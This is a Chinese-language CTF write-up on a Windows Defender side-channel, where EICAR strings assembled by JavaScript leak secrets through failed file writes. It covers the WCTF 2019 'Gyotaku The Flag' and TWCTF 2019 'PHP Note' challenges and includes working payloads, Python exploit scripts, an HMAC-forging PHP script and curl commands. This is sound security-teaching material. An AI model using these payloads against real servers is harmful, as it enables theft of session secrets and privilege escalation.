Windows Defender 侧信道攻击

在今年的 WCTF 2019 上,Tokyo Westerns 出了一道与 Windows Defender 侧信道攻击相关的题目,在 Tokyo Westerns CTF 2019 上也有一道与之有关的题目 PHP Note,看了感觉比较有趣,但是我看的网络文章写的都比较粗略,这里我就记录一下自己的分析。

Windows Defender

众所周知,Windows Defender 是 Windows 10 平台上一款自带的安全防护软件,游戏弹窗杀手

Windows Defender(Windows 10 创意者更新后名为Windows Defender Antivirus),曾用名Microsoft AntiSpyware,最初是用来移除、隔离和预防间谍软件的程序,可以运行在Windows XP以及更高版本的操作系统上,并已经内置在Windows Vista以及以后的版本中。Windows Defender的定义库更新很频繁。在Windows 8及之后的系统中取代Microsoft Security Essentials,成为一款全面反病毒软件。

Windows Defender不像某些其他同类免费产品一样只能扫描系统,还可以对系统进行实时监控,移除已经安装的ActiveX插件,清除大多数微软的程序和其他常用程序的历史纪录。

What Windows Defender will do

根据 TW 的分析,Windows Defender 会有以下行为:

  1. 检查文件内容是否有恶意内容
  2. 改变恶意文件的权限以避免用户去加载
  3. 替换恶意内容为空
  4. 删除整个文件

在第二步中,如果文件被 Windows Defender 检测出是恶意文件的话,用户就不可以访问了。

Make Windows Defender Angry

EICAR

EICAR标准反病毒测试文件,又称EICAR测试文件, 是由欧洲反计算机病毒协会(EICAR)与计算机病毒研究组织(CARO)研制的文件, 用以测试杀毒软件的响应程度。不同于使用可能造成实际破环的实体恶意软件,该文件允许人们在没有计算机病毒的情况下测试杀毒软件。

我们可以使用以下字符串测试 Windows Defender

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

只需要将这个字符串复制,然后保存在一个空白的 txt 文件当中即可触发 Windwos Defender,所以我们先通过这个样例来检查一下自己的 Windows Defender 是否开启。

Mpengine.dll

根据 Tokyo Westerns 的分析,Windows Defender 有一个核心 dll 文件 Mpengine.dll ,他可以对不同的内容进行分析,包括一些 base64 encode/RAR archived/etc. ,其中比较有意思的是它还有一个 Javascript Engine。

这个引擎可以分析 HTML 文档,并且可以分析其中的 Javascript 代码,包括对文档中的 DOM 元素的访问。

我们可以做个简单的验证,我们先只使用以下代码测试:

var mal = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";

可以发现我们并没有触发 Windows Defender,即使字符串是 EICAR 测试样本,说明了字符串不受 EICAR 特征影响。

接着我们尝试添加一下 eval

var mal = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);

没错,在保存的时候就立马触发了 Windows Defender ,足以验证当中有一个 Javascript Engine 进行了内容检测,而且即使没有完整的 Javascript 标签,也可以触发 Windows defender。

Interesting Check

接下来我们再看几个测试例子:

<script>
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>

非常棒,并没有被检测出恶意内容。

接着我们再试着加一个 <body> 标签:

<script>
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>

也很棒,也没有检测出恶意内容。

让我们再操作一下 DOM 元素:

<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>

Done! 触发了恶意内容检测。

那如果我们把 EICAR 内容进行一下拆分呢?

<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + body[0];
eval(mal);
</script>
<body>a</body>

这里我们获取的是 <body> 标签中的第一个字符,也就是 a ,不构成 EICAR 测试样本,所以触发不了 Windows Defender 也很正常。

那我们改一下 <body> 标签当中的内容呢?使用 * 试试看

<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + body[0];
eval(mal);
</script>
<body>*</body>

很棒,意料之中地触发了 Windows Defender。

Go Hacking

那触发 Windows Defender 会有什么问题吗?虽然这里看似没什么毛病,但是放到业务代码里面就不一样了。

仔细想想一般程序猿会这么写文件呢?细心的程序猿在进行写文件之后要 check 一遍是否写入成功,类似:

$err = file_put_contents('/tmp/file_name', 'something need to be saved');
if(!$err)                    
  return Exception;

file_put_contents 在写入成功后返回写入多少个字节,失败的时候返回 False ,然后我们就可以利用这个特性,当我们写入恶意数据的时候,因为 Windows Defender 检查出恶意内容,禁止了用户读取权限或者删除了文件,导致服务因为检查写入不成功抛出异常,而对于我们来说可能直接返回错误的状态码类似 500 。

所以我们可以总结一下,大致我们可以有这么一套侧信道攻击的攻击链:

eval("EICA"+input) -> ?
    detected -> input is 'R'
    not detected -> input is not 'R'

如果内容中有 <body> 标签,并且如果有无法通过正常手段读到的数据,我们可以尝试用这种类似“盲注”的方式去获取秘密数据

JavaScript can access the elements :)
○ if they have <body> tag
○ <script>document.body.innerHTML[0]</script><body>[secret]</body>

这里需要注意的是,Tokyo Westerns 指出使用 if 语句构造的 EICAR 样本,Windows Defender 是不会检测出来的,例如以下 payload , mal 已经可以构造出 EICAR 样本,但是不会触发 Windows Denfender 的,但是大致思路我们可以通过这段代码来理解

<script>
var n = 'a';
if(document.body.innerHTML[0] > 'a')
    n = '*';
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + n;
eval(mal);
</script>
<body>flag{aaa}</body>

然后我们大致修改一下,不使用 if 作为判断选择条件,使用 Math.min() 作为判断选择,所以大致我们可以得到这么个 payload :

<script>
    var num = 90;
    var body = document.body.innerHTML[0].charCodeAt(0);
    var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + {[num] : '*'}[Math.min(num ,body)];
    eval(mal);
</script>
<body>flag{aaa}</body>

因为 body 获取到的是 f 的 ascii 码为 102 ,大于 90 ,所以 Math.min() 返回值为 90 , {[num]:'*'} 创建了一个 key 为 90 ,value 为 * 的对象,这里注意需要用 [num]num 当作变量,因为如果直接使用 {num:'*'} ,这样是创建了一个 key 为 num 的一个字符串, value 为 * 的对象

>     var num = 90;
undefined
>     var n = {num : '*'};
undefined
>     console.log([num]);
[ 90 ]
undefined
>     console.log(n[num]);
undefined
undefined
>     console.log(n['num']);
*
undefined
>     console.log(n);
{ num: '*' }

这样我们就可以通过“盲注”的方式获取 <body> 标签中的秘密数据了。

Gyotaku The Flag

题目源码在 Gyotaku The Flag,slides 在 WCTF2019: Gyotaku The Flag

有了以上的知识,让我们回到 WCTF 2019 Gyotaku The Flag 这道题上,这道题有这么几个路由

e.GET("/", IndexHandler(dbconn), LoginRequiredMiddleware)
e.GET("/gyotaku", GyotakuListHandler(dbconn), LoginRequiredMiddleware)
e.GET("/gyotaku/:gid", GyotakuViewHandler(dbconn), LoginRequiredMiddleware)
e.GET("/flag", FlagHandler, InternalRequiredMiddleware)

e.POST("/login", LoginHandler(dbconn))
e.POST("/gyotaku", GyotakuHandler(dbconn), LoginRequiredMiddleware)

So easy to GetFlag

/flag 的路由上有一个类似于中间件的功能: InternalRequiredMiddleware

func InternalRequiredMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        ip := net.ParseIP(c.RealIP())
        localip := net.ParseIP("127.0.0.1")
        if !ip.Equal(localip) {
            return echo.NewHTTPError(http.StatusForbidden)
        }
        return next(c)
    }
}

以及 FlagHandler :

func FlagHandler(c echo.Context) error {
    data, err := ioutil.ReadFile("flag")
    if err != nil {
        return err
    }
    return c.String(http.StatusOK, string(data))
}

可以看到这是一个控制只能 127.0.0.1 访问的功能函数,用于构造题目的 SSRF 这么一个类似的关卡,可是由于出题人不是特别细心, echo.Context.RealIP 可以被 X-Real-IP 绕过,所以导致了当时很多人直接通过这个方式拿到了 flag …

题目结束,分析完了,关了吧别看了,后面都是扯淡,拿到 flag 就是王道,管他用什么方式

The better way to GetFlag

好了,我们接下来分析分析比较有意思的预期解。

/login 路由比较简单,使用的是 goleveldb 做的数据操作

/gyotaku 路由 GET 方法列举用户有多少金坷垃

/gyotaku/:gid 从文件中查找 gid

我们可以在 /gyotaku 路由的 POST 方法中看到接收了一个 url 参数,并对 url 进行了请求:

url := c.FormValue("url")
...
resp, err := http.Get(url)

这就是我们需要的 SSRF 的点了,传入 url 让服务器请求这个 URL 。

然后我们可以接着往下看,注意到有个写文件的操作:

resp, err := http.Get(url)
if err != nil {
  return err
}
defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
  return err
}

// save gyotaku
gyotakudata := &GyotakuData{
  URL:      url,
  Data:     string(body),
  UserName: username,
}

buf := bytes.NewBuffer(nil)
err = gob.NewEncoder(buf).Encode(gyotakudata)
if err != nil {
  return err
}
err = ioutil.WriteFile(path.Join(GyotakuDir, gid), buf.Bytes(), 0644)
if err != nil {
  return err
}

这段将 GyotakuData 写入了一个文件当中,并且跟我们上文提到的写文件方法一致,判断了是否写入成功,不成功就返回 err ,并且在这里三个写入的参数我们都可控。

所以我们现在可以有一个大致思路,通过提交 {"url":"http://127.0.0.1/flag"}/gyotaku 路由,构成一个 SSRF ,这时候 /flag 路由会返回 flag ,通过以上代码解析,flag 被放到了 Data 中,接着我们再看一下 GyotakuData 结构体

type GyotakuData struct {
    URL      string `json:"url"`
    Data     string `json:"data"`
    UserName string `json:"username"`
}

如果中间是 Data 是我们 <body> 标签的 secret 数据,那么 UserName 我们就需要一个 </body> 标签将其闭合,前面 URL 怎么构造好呢?

因为 /flag 路由是不处理任何 GET 参数的,所以我们可以尝试把我们需要构造的 payload 放到 URL 参数当中,这样就可以构造了我们上文的 Payload 了,我们需要构造的大致就是以下这样:

type GyotakuData struct {
  URL      string "http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>"
  Data     string "flag{test}"
    UserName string "</body>"
}

这样服务把 GyotakuData 结构体写入文件当中了:

...GyotakuData...URL...Data...UserName...http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>...
flag{test}...</body>...

为了方便阅读,上面我用 ... 代替了不可见字符,可以用以下测试代码进行测试:

package main

import (
    "bytes"
    "encoding/gob"
    "io/ioutil"
)

type GyotakuData struct {
    URL      string `json:"url"`
    Data     string `json:"data"`
    UserName string `json:"username"`
}

func main() {
    url := "http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>"
    body := "flag{test}"
    username := "</body>"

    gyotakudata := &GyotakuData{
        URL:      url,
        Data:     body,
        UserName: username,
    }
    buf := bytes.NewBuffer(nil)
    gob.NewEncoder(buf).Encode(gyotakudata)
    ioutil.WriteFile("test.txt", buf.Bytes(), 0644)
}

这样只要我们每次控制 num 的值,我们就可以在服务器 500 的时候判断我们设立的条件是否成立了。这里直接给出 TokyoWesterns 的 exp 脚本,他们使用了二分法加快判断:

import requests

URL = "http://192.168.122.78" # changeme

def randstr(n=8):
    import random
    import string
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join([random.choice(chars) for _ in range(n)])

def trigger(c, idx, sess):
    import string
    prefix = randstr()
    p = prefix + '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
    p = string.Template(p).substitute({'idx': idx, 'c': c})
    req = sess.post(URL + '/gyotaku', data={'url': 'http://127.0.0.1/flag?a=' + p})
    return req.json()

def leak(idx, sess):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        gid = trigger(m, idx, sess)
        if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
            l = m
        else:
            h = m
    return chr(l)

sess = requests.session()
sess.post(URL + '/login', data={'username': '</body>'+randstr(), 'password': randstr()})

data = ''
for i in range(30):
    data += leak(i, sess)
    print(data)

这里 trigger 函数中 idx 就是获取的 <body> 标签中的第几位,c 就是我们传入的用于比较的 ascii 码值。至此,这题就分析完毕了。

PHP Note

在 TokyoWesterns CTF 2019 上,由于 WCTF 2019 上的失误,让他们又出了一道与之相关的题目。

<?php
include 'config.php';

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }

    public function addnote($title, $body) {
        array_push($this->notes, [$title, $body]);
    }

    public function getnotes() {
        return $this->notes;
    }

    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}

function is_login() {
    return !empty($_SESSION['secret']);
}

function redirect($action) {
    header("Location: /?action=$action");
    exit();
}

$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];

if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
    redirect('index');
}

if ($action === 'source') {
    highlight_file(__FILE__);
    exit();
}


session_start();

if (is_login()) {
    $realname = $_SESSION['realname'];
    $nickname = $_SESSION['nickname'];

    $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
            ? unserialize(base64_decode($_COOKIE['note']))
            : new Note(false);
}

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

if ($action === 'logout') {
    session_destroy();
    redirect('index');
}

if ($action === 'post') {
    if ($method === 'POST') {
        $title = (string)$_POST['title'];
        $body = (string)$_POST['body'];
        $note->addnote($title, $body);
        $data = base64_encode(serialize($note));
        setcookie('note', (string)$data);
        setcookie('hmac', (string)hmac($data));
    }
    redirect('index');
}

if ($action === 'getflag') {
    $note->getflag();
}

?>
<!doctype html>
<html>
    <head>
        <title>PHP note</title>
    </head>
    <style>
        textarea {
            resize: none;
            width: 300px;
            height: 200px;
        }
    </style>
    <body>
        <?php
        if (!is_login()) {
            $realname = htmlspecialchars($realname);
            $nickname = htmlspecialchars($nickname);
        ?>
        <form action="/?action=login" method="post" id="login">
            <input type="text" id="firstname" placeholder="First Name">
            <input type="text" id="lastname" placeholder="Last Name">
            <input type="text" name="nickname" id="nickname" placeholder="nickname">
            <input type="hidden" name="realname" id="realname">
            <button type="submit">Login</button>
        </form>
        <?php
        } else {
        ?>
        <h1>Welcome, <?=$realname?><?= !empty($nickname) ? " ($nickname)" : "" ?></h1>
        <a href="/?action=logout">logout</a>
        <!-- <a href="/?action=source">source</a> -->
        <br/>
        <br/>
        <?php
            foreach($note->getnotes() as $k => $v) {
                list($title, $body) = $v;
                $title = htmlspecialchars($title);
                $body = htmlspecialchars($body);
        ?>
        <h2><?=$title?></h2>
        <p><?=$body?></p>
        <?php
            }
        ?>
        <form action="/?action=post" method="post">
            <input type="text" name="title" placeholder="title">
            <br>
            <textarea name="body" placeholder="body"></textarea>
            <button type="submit">Post</button>
        </form>
        <?php
        }
        ?>
        <?php
        ?>
        <script>
            document.querySelector("form#login").addEventListener('submit', (e) => {
                const nickname = document.querySelector("input#nickname")
                const firstname = document.querySelector("input#firstname")
                const lastname = document.querySelector("input#lastname")
                document.querySelector("input#realname").value = `${firstname.value} ${lastname.value}`
                if (nickname.value.length == 0 && firstname.value.length > 0 && lastname.value.length > 0) {
                    nickname.value = firstname.value.toLowerCase()[0] + lastname.value.toLowerCase()
                }
            })
        </script>
    </body>
</html> 

乍一看确实没有任何的漏洞点,让人比较在意的只有 unserialize 函数,我们关注的是 getflag() ,条件是成为管理员,而我们可以看到有以下条件:

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

...

$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
  ? unserialize(base64_decode($_COOKIE['note']))
  : new Note(false);

如果没有通过 verify 函数判断, Note 的构造函数会设置 $this->isadmin = False; ,但是 $_SESSION['secret'] 又由 gen_secret 函数生成, SALTPEPPER 我们都不知道,用一般的方法拿到 secret 基本不可能。

function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}

...

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

hash_equals 也没有什么绕过的办法,所以这里看起来似乎没有什么正常的办法。

大致我们可以知道要获取 Flag ,就要成为 admin ,要成为 admin 就要知道 $_SESSION['secret']

题目的大致功能也比较简单,只有登录注销、增加 post 功能,但是我们可以从相应头发现一些蛛丝马迹:

Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.9

之后我们就可以从这里大概猜到其实与上题一致,为什么这么说呢?

  • $_SESSION['secret'] 存放在 Session 文件当中
  • Session 文件又存放在本地文件系统中
  • 如果 Session 文件含有恶意内容就会被 Windows Defender 阻止访问造成登录失败
  • 这样我们似乎可以通过是否登录成功来获得 $_SESSION['secret']

我们可以本地进行测试一下,随便登录一个发现 session 文件内容是

realname|s:9:"zedd zedd";nickname|s:6:"yoyoyo";secret|s:32:"621e1d6607af0b500603e68b23e042e2";

发现 secret 竟然是在我们可控数据的后面,如果没有 </body> 标签闭合,Windows Defender 的 JS Engine 不像现代浏览器一样可以闭合标签,这样我们也达不到我们侧信道攻击的效果,所以我们需要找到一个办法让我们可控的地方在 secret 数据后面才行。

让我们再回顾一下登录逻辑

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

其中我们可以看到这里有一个 $nickname 为空的判断,我们看看当 $nickname 为空的时候登录,session 文件会是怎么样的:

realname|s:9:"zedd zedd";secret|s:32:"8b9a527ff677cb223afa87dad7c9e6f8";

此时如果我们不注销,直接再次发一个含有 nickname 的登录包,看看又会有什么效果

realname|s:9:"zedd zedd";secret|s:32:"621e1d6607af0b500603e68b23e042e2";nickname|s:6:"yoyoyo";

!!!这种数据格式不正是我们所需要的侧信道攻击格式吗!这样我们就可以通过 Windows Defender 侧信道攻击把 secret 读出来了!

只要我们构造类似如下的 payload 就可以了( x 为序列化之后的字符串长度):

realname|s:x:"<script>var body = document.body.innerHTML;var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H;' + body[0];eval(mal);</script><body>";secret|s:32:"621e1d6607af0b500603e68b23e042e2";nickname|s:x:"</body>";

接下来就是与上面类似的步骤,利用“盲注”的形式来读 secret ,下面就贴一下 r3kapig 师傅们的脚本:

import requests

URL = "http://phpnote.chal.ctf.westerns.tokyo" # changeme

def trigger(c, idx):
   import string
   p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
   p = string.Template(p).substitute({'idx': idx, 'c': c})
   return p

def leak(idx):
   l, h = 0, 0x100
   while h - l > 1:
       m = (h + l) // 2
       gid = trigger(m, idx)
       # r = requests.post(URL + '/?action=login', data={'realname': gid, 'nickname': '1'})
       # print r.content
       # exit()
       s = requests.session()
       s.post(URL + '/?action=login', data={'realname': gid, 'nickname': ''})
       if "/?action=login" in s.post(URL + '/?action=login', data={'realname': gid, 'nickname': '</body>'}).content:
           l = m
       else:
           h = m
   return chr(l)

data = ''
for i in range(100):
   data += leak(i)
   print(data)

拿到 secret 之后,就可以构造 Note 类了:

<?php

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }

    public function addnote($title, $body) {
        array_push($this->notes, [$title, $body]);
    }

    public function getnotes() {
        return $this->notes;
    }

    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return "2532bd172578d19923e5348420e02320";
}

// create session
$_SESSION = Array();
$_SESSION['secret'] = gen_secret('');
$_SESSION['realname'] = "stypr stypr";
$_SESSION['nickname'] = "";

// generate note
$note = new Note(true);
$note->addnote("work", "work");
$data = base64_encode(serialize($note));

/* verify
//echo "Data: ".(string)$data."\n";
//echo "HMAC: ".(string)hmac($data)."\n";
//echo "-----";
//var_dump(verify((string)$data, (string)hmac($data)));
*/
?>
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=logout' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --insecure
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=login' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --data 'nickname=</body>&realname=stypr+stypr' --compressed --insecure
curl -s "http://phpnote.chal.ctf.westerns.tokyo/?action=getflag" -H "Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a; note=<?php echo $data; ?>; hmac=<?php echo hmac($data); ?>;"
$ php flag.php | sh | grep "TWCTF"
TWCTF{h0pefully_I_haven't_made_a_m1stake_again}<!doctype html>

One More

其实个人觉得 Windows Defender 这个 JS Engine 还是有很多没发掘的地方,奈何自己逆向水平不够,这里放几个会议的分享吧

Windows Offender: Reverse Engineering Windows Defender’s Antivirus Emulator

Reference

Playing with Windwos Defender

r3kapig - PHP Note

balsn - PHP Note

#CTF

2 个赞

这个地方确实很有趣,我做这个题的完全想不到这种方法,正如作者说的,他想出一道,所有人都做不出来的题目 膜),但是由于作者对echo框架不熟悉直接导致这个题gg了。起初我看到尽然有go的题,不可思议,因为几乎所以带go的cve 在攻击链上都比较巧妙,但是在ctf上go的题目还是算比较简单。我也研究了很久,这个题在爆破的算法上也可以去安利一下,也是比较精妙。如果你看过c3的题,还有利用chrome xss auditor来搞的。 我认为这是一种的新扩展的攻击面,但是似乎没有多少人在意 :( ,还有我认为一个比较好的web题以后的常态是多少要带点爆破的过程在里面的,不可能是那种一步到位的。 楼主思考的写的很棒! 赞)